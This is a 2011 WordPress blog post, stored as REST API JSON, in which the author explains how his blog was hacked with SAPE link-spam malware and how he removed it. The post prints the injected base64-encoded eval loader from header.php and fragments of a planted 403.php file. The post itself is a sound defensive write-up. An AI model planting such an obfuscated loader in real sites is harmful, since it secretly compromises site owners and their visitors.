{"id":4224,"date":"2011-06-07T19:02:49","date_gmt":"2011-06-08T02:02:49","guid":{"rendered":"http:\/\/lee.org\/blog\/?p=4224"},"modified":"2011-06-08T15:45:43","modified_gmt":"2011-06-08T22:45:43","slug":"blog-hacked%e2%80%a6-cleaned-sape-eval-base64","status":"publish","type":"post","link":"https:\/\/www.lee.org\/blog\/2011\/06\/07\/blog-hacked%e2%80%a6-cleaned-sape-eval-base64\/","title":{"rendered":"Blog Hacked\u2026 Cleaned: SAPE eval base64"},"content":{"rendered":"<p><a href=\"http:\/\/lee.org\/blog\/wp-content\/uploads\/2011\/06\/SAPE-Hack.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-4225\" title=\"SAPE Hack\" src=\"http:\/\/lee.org\/blog\/wp-content\/uploads\/2011\/06\/SAPE-Hack-300x119.png\" alt=\"\" width=\"300\" height=\"119\" srcset=\"https:\/\/www.lee.org\/blog\/wp-content\/uploads\/2011\/06\/SAPE-Hack-300x119.png 300w, https:\/\/www.lee.org\/blog\/wp-content\/uploads\/2011\/06\/SAPE-Hack-200x79.png 200w, https:\/\/www.lee.org\/blog\/wp-content\/uploads\/2011\/06\/SAPE-Hack-50x19.png 50w, https:\/\/www.lee.org\/blog\/wp-content\/uploads\/2011\/06\/SAPE-Hack.png 810w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>My WordPress blog had been hacked. It displayed ads for stupid things in the far lower right corner of some blog pages. It looks like it displayed ads on just 1 in 10 of my pages, especially &#8220;Category&#8221; pages. You might want to take a peek on your own WordPress blog to make sure it hasn&#8217;t happened to you.<\/p>\n<p>Here&#8217;s where the bad code was and how I fixed it.<\/p>\n<p>The header.php file of my theme had been altered. It began:<br \/>\n<code><br \/>\n&lt;?define('USE_DIRA', '\/blog\/wp-content\/themes\/default\/images\/'); @eval(@base64_decode(\"ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS5VU0VfRElSQS4iNDAzLnBocCIpO3JldHVybiAoJGNoZWUpO31vYl9zdGFydCgiY2FsbGJhY2siKTs=\"));?&gt;<br \/>\n<\/code><\/p>\n<p>That code was obviously running code in my \/blog\/wp-content\/themes\/default\/images\/ directory. <\/p>\n<p>Curiously, the &#8220;modified date&#8221; on the header.php file must have been hacked. I know this because the file has a &#8220;last modifed&#8221; date of April 2009, however the backup of my website in October 2010 doesn&#8217;t have the spamming code. Therefore, the hacked code must have been added more recently.<\/p>\n<p>2 files had been added to the \/blog\/wp-content\/themes\/default\/images\/ directory on the blog:<br \/>\n403.php<br \/>\nlinks.db<\/p>\n<p>Here are the most suspicious parts of 403.php<br \/>\n<code><br \/>\ndefine('_SAPE_USER', '466c19cd8253185aebaab9f182431010');<br \/>\n...<br \/>\neval(@base64_decode(\"JGJvdGlwcyA9IGFycmF5KAkN<br \/>\n<\/code><\/p>\n<p>&#8220;SAPE&#8221; is a known malware (<a href=\"http:\/\/mcc.yurisnight.net\/wiki\/Relocation_of_Web_Sever\">via<\/a>)<\/p>\n<p>You should never have any &#8220;eval base64&#8221; code in your WordPress installation. It&#8217;s almost always some piece of code trying to hide itself.<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>I removed the malicious code from my header.php and deleted 403.php and links.db from the default theme. Done.<br \/>\n<strong>Update<\/strong>: read the comments!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>My WordPress blog had been hacked. It displayed ads for stupid things in the far lower right corner of some blog pages. It looks like it displayed ads on just 1 in 10 of my pages, especially &#8220;Category&#8221; pages. You might want to take a peek on your own WordPress blog to make sure it [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-4224","post","type-post","status-publish","format-standard","hentry","category-geekery"],"_links":{"self":[{"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/posts\/4224","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/comments?post=4224"}],"version-history":[{"count":1,"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/posts\/4224\/revisions"}],"predecessor-version":[{"id":4226,"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/posts\/4224\/revisions\/4226"}],"wp:attachment":[{"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/media?parent=4224"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/categories?post=4224"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lee.org\/blog\/wp-json\/wp\/v2\/tags?post=4224"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}